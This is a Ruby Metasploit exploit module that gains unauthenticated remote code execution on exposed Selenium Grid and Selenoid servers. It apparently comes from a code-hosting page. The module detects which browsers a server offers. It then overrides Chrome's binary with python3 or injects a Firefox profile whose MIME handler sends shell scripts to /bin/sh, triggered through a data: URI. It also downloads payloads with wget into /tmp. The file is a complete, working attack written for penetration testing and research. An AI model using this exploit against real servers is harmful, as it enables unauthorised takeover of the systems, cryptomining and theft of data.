307 lines
11 KiB
Ruby
307 lines
11 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Module::Deprecated
|
|
moved_from 'exploit/linux/http/selenium_greed_chrome_rce_cve_2022_28108'
|
|
moved_from 'exploit/linux/http/selenium_greed_firefox_rce_cve_2022_28108'
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::FileDropper
|
|
include Msf::Payload::Python
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Selenium Grid/Selenoid Unauthenticated RCE',
|
|
'Description' => %q{
|
|
Selenium Grid and Selenoid expose a WebDriver API that allows creating
|
|
browser sessions with arbitrary capabilities. When deployed without
|
|
authentication (the default for both), an attacker can achieve remote
|
|
code execution through two browser-specific techniques:
|
|
|
|
For Chrome, the goog:chromeOptions binary field can be set to an
|
|
arbitrary executable such as /usr/bin/python3, since ChromeDriver does
|
|
not validate it. This was fixed in Selenium Grid 4.11.0 via the
|
|
stereotype capabilities merge. All Selenoid versions remain vulnerable.
|
|
|
|
For Firefox, a custom profile containing a malicious MIME handler that
|
|
maps application/sh to /bin/sh can be injected via moz:firefoxOptions.
|
|
Navigating to a data: URI with that content type triggers shell
|
|
execution. This technique has never been patched and works on all
|
|
Selenium Grid versions including the latest release.
|
|
|
|
The module auto-detects available browsers and selects the best attack
|
|
vector. Firefox is preferred as it works on all Grid versions.
|
|
|
|
The default Docker images run as seluser/selenium with passwordless
|
|
sudo, allowing trivial privilege escalation to root.
|
|
},
|
|
'Author' => [
|
|
'Jon Stratton',
|
|
'Wiz Research',
|
|
'Takahiro Yokoyama',
|
|
'Valentin Lobstein <chocapikk[at]leakix.net>'
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' => [
|
|
['URL', 'https://www.wiz.io/blog/seleniumgreed-cryptomining-exploit-attack-flow-remediation-steps'],
|
|
['URL', 'https://www.selenium.dev/blog/2024/protecting-unsecured-selenium-grid/'],
|
|
['URL', 'https://github.com/SeleniumHQ/selenium/issues/9526'],
|
|
['URL', 'https://github.com/JonStratton/selenium-node-takeover-kit/tree/master'],
|
|
['EDB', '49915'],
|
|
['CWE', '306']
|
|
],
|
|
'Platform' => %w[python unix linux],
|
|
'Arch' => [ARCH_PYTHON, ARCH_CMD],
|
|
'Payload' => {},
|
|
'Targets' => [
|
|
[
|
|
'Python In-Memory',
|
|
{
|
|
'Platform' => 'python',
|
|
'Arch' => ARCH_PYTHON
|
|
}
|
|
],
|
|
[
|
|
'Unix/Linux Command Shell',
|
|
{
|
|
'Platform' => %w[unix linux],
|
|
'Arch' => ARCH_CMD,
|
|
'DefaultOptions' => {
|
|
'FETCH_COMMAND' => 'WGET',
|
|
'FETCH_DELETE' => true,
|
|
'FETCH_WRITABLE_DIR' => '/tmp'
|
|
}
|
|
}
|
|
]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => '2021-05-28',
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
|
|
'Reliability' => [REPEATABLE_SESSION]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options([
|
|
Opt::RPORT(4444),
|
|
OptString.new('TARGETURI', [true, 'Base path to Selenium Grid or Selenoid', '/']),
|
|
OptEnum.new('BROWSER', [true, 'Browser to exploit (auto detects and picks best vector)', 'auto', %w[auto firefox chrome]])
|
|
])
|
|
end
|
|
|
|
def check
|
|
@backend = detect_backend
|
|
return CheckCode::Unknown('No response from target') unless @backend
|
|
|
|
@browsers = enumerate_browsers
|
|
return CheckCode::Appears("#{@backend[:message]} (all versions vulnerable)") if selenoid?
|
|
|
|
check_grid
|
|
end
|
|
|
|
def exploit
|
|
@backend ||= detect_backend
|
|
@browsers ||= enumerate_browsers
|
|
browser = select_browser
|
|
fail_with(Failure::NoTarget, 'No exploitable browser found on target') unless browser
|
|
|
|
send("exploit_#{browser}")
|
|
end
|
|
|
|
private
|
|
|
|
def selenoid?
|
|
@backend&.dig(:type) == :selenoid
|
|
end
|
|
|
|
def session_path
|
|
normalize_uri(target_uri.path, selenoid? ? 'wd/hub/session' : 'session')
|
|
end
|
|
|
|
def grid_version
|
|
nodes = @backend&.dig(:value, 'nodes')
|
|
return unless nodes.is_a?(Array) && !nodes.empty?
|
|
|
|
version_raw = nodes.first['version']
|
|
return unless version_raw
|
|
|
|
version_raw.split(/\s/).first
|
|
end
|
|
|
|
def chrome_vuln?
|
|
return true if selenoid?
|
|
|
|
ver = grid_version
|
|
ver && Rex::Version.new(ver) < Rex::Version.new('4.11.0') && @browsers.include?('chrome')
|
|
end
|
|
|
|
def detect_backend
|
|
%w[status wd/hub/status].each do |path|
|
|
res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, path))
|
|
next unless res&.code == 200
|
|
|
|
value = res.get_json_document['value']
|
|
next unless value.is_a?(Hash) && value['message'].is_a?(String)
|
|
|
|
msg = value['message'].downcase
|
|
return { type: :selenoid, message: value['message'], value: value } if msg.include?('selenoid')
|
|
return { type: :grid, message: value['message'], value: value } if msg.include?('selenium grid')
|
|
end
|
|
nil
|
|
end
|
|
|
|
def enumerate_browsers
|
|
return [] unless @backend
|
|
return selenoid_browsers if selenoid?
|
|
|
|
grid_browsers
|
|
end
|
|
|
|
def selenoid_browsers
|
|
browsers = @backend[:value]['browsers']
|
|
return %w[chrome firefox] unless browsers.is_a?(Hash)
|
|
|
|
browsers.keys.map(&:downcase)
|
|
end
|
|
|
|
def grid_browsers
|
|
nodes = @backend[:value]['nodes']
|
|
return [] unless nodes.is_a?(Array)
|
|
|
|
nodes.flat_map { |n| (n['slots'] || []).map { |s| s.dig('stereotype', 'browserName')&.downcase } }.compact.uniq
|
|
end
|
|
|
|
def check_grid
|
|
ver_str = grid_version
|
|
return CheckCode::Detected('Selenium Grid detected but could not determine version') unless ver_str
|
|
return CheckCode::Appears("Selenium Grid #{ver_str} with Firefox (all versions vulnerable to profile handler)") if @browsers.include?('firefox')
|
|
return CheckCode::Appears("Selenium Grid #{ver_str} with Chrome (vulnerable to binary override)") if chrome_vuln?
|
|
return CheckCode::Safe("Selenium Grid #{ver_str} - Chrome patched (stereotype merge), no Firefox available") if @browsers.include?('chrome')
|
|
|
|
CheckCode::Detected("Selenium Grid #{ver_str} - no exploitable browsers found")
|
|
end
|
|
|
|
def select_browser
|
|
choice = datastore['BROWSER']
|
|
|
|
if choice != 'auto'
|
|
print_warning("#{choice} not available on target (found: #{@browsers.join(', ')})") unless @browsers.empty? || @browsers.include?(choice)
|
|
return choice
|
|
end
|
|
|
|
if @browsers.include?('firefox')
|
|
print_status('Auto-selected Firefox (profile handler - works on all Grid versions)')
|
|
return 'firefox'
|
|
end
|
|
|
|
if @browsers.include?('chrome') && chrome_vuln?
|
|
print_status('Auto-selected Chrome (binary override)')
|
|
return 'chrome'
|
|
end
|
|
|
|
print_warning("Chrome binary override patched on Grid #{grid_version}, no Firefox available") if @browsers.include?('chrome')
|
|
nil
|
|
end
|
|
|
|
def create_session(body)
|
|
send_request_cgi('method' => 'POST', 'uri' => session_path, 'ctype' => 'application/json', 'data' => body)
|
|
end
|
|
|
|
def cleanup_session(session_id)
|
|
res = send_request_cgi('method' => 'DELETE', 'uri' => normalize_uri(session_path, session_id), 'ctype' => 'application/json')
|
|
print_status(res ? "Deleted session #{session_id}" : "Could not delete session #{session_id}. It may need to expire.")
|
|
rescue StandardError
|
|
nil
|
|
end
|
|
|
|
def exploit_chrome
|
|
body = {
|
|
'capabilities' => {
|
|
'alwaysMatch' => {
|
|
'browserName' => 'chrome',
|
|
'goog:chromeOptions' => { 'binary' => '/usr/bin/python3', 'args' => ["-c#{build_python_payload}"] }
|
|
}
|
|
}
|
|
}.to_json
|
|
|
|
print_status('Sending Chrome session request with binary override...')
|
|
res = create_session(body)
|
|
|
|
return print_warning('No response received (expected - Python exits after execution)') unless res
|
|
return print_good('Payload executed (server returned 500 as expected)') if res.code == 500
|
|
|
|
fail_with(Failure::UnexpectedReply, "Unexpected HTTP #{res.code}") unless res.code == 200
|
|
|
|
json = res.get_json_document
|
|
return print_good("Payload executed (Chrome crash expected: #{json['value']['message']&.slice(0, 80)}...)") if json.dig('value', 'error')
|
|
|
|
session_id = json.dig('value', 'sessionId')
|
|
return unless session_id
|
|
|
|
print_warning("Session #{session_id} created but binary override may have been ignored")
|
|
cleanup_session(session_id)
|
|
end
|
|
|
|
def build_python_payload
|
|
inner = target['Arch'] == ARCH_PYTHON ? payload.encoded : "os.system(#{payload.encoded.inspect})"
|
|
py_create_exec_stub("import os,time\npid=os.fork()\nif pid==0:\n os.setsid()\n #{inner}\nelse:\n time.sleep(300)")
|
|
end
|
|
|
|
def exploit_firefox
|
|
encoded_profile = build_malicious_profile
|
|
body = {
|
|
'desiredCapabilities' => { 'browserName' => 'firefox', 'firefox_profile' => encoded_profile },
|
|
'capabilities' => { 'firstMatch' => [{ 'browserName' => 'firefox', 'moz:firefoxOptions' => { 'profile' => encoded_profile } }] }
|
|
}.to_json
|
|
|
|
print_status('Creating Firefox session with malicious profile...')
|
|
res = create_session(body)
|
|
fail_with(Failure::UnexpectedReply, 'No response when creating session') unless res
|
|
|
|
session_id = res.get_json_document.dig('value', 'sessionId') || res.get_json_document['sessionId']
|
|
fail_with(Failure::UnexpectedReply, 'Failed to create Firefox session') unless session_id
|
|
print_status("Session created: #{session_id}")
|
|
|
|
cmd = payload.encoded
|
|
cmd = "echo -n #{Rex::Text.encode_base64(cmd)} | base64 -d | python3 &" if target['Arch'] == ARCH_PYTHON
|
|
script = "#{cmd}\n"
|
|
|
|
fetch_dir = datastore['FETCH_WRITABLE_DIR'] || '/tmp'
|
|
fetch_file = datastore['FETCH_FILENAME']
|
|
register_file_for_cleanup("#{fetch_dir}/#{fetch_file}") if fetch_file
|
|
|
|
print_status('Navigating to data: URI to trigger handler...')
|
|
send_request_cgi(
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, selenoid? ? 'wd/hub' : '', "session/#{session_id}/url"),
|
|
'ctype' => 'application/json',
|
|
'data' => { 'url' => "data:application/sh;charset=utf-16le;base64,#{Rex::Text.encode_base64(script)}" }.to_json
|
|
)
|
|
|
|
cleanup_session(session_id)
|
|
end
|
|
|
|
def build_malicious_profile
|
|
stringio = Zip::OutputStream.write_buffer do |io|
|
|
io.put_next_entry('handlers.json')
|
|
io.write({
|
|
'defaultHandlersVersion' => { 'en-US' => 4 },
|
|
'mimeTypes' => { 'application/sh' => { 'action' => 2, 'handlers' => [{ 'name' => 'sh', 'path' => '/bin/sh' }] } }
|
|
}.to_json)
|
|
end
|
|
stringio.rewind
|
|
Base64.strict_encode64(stringio.sysread)
|
|
end
|
|
|
|
end
|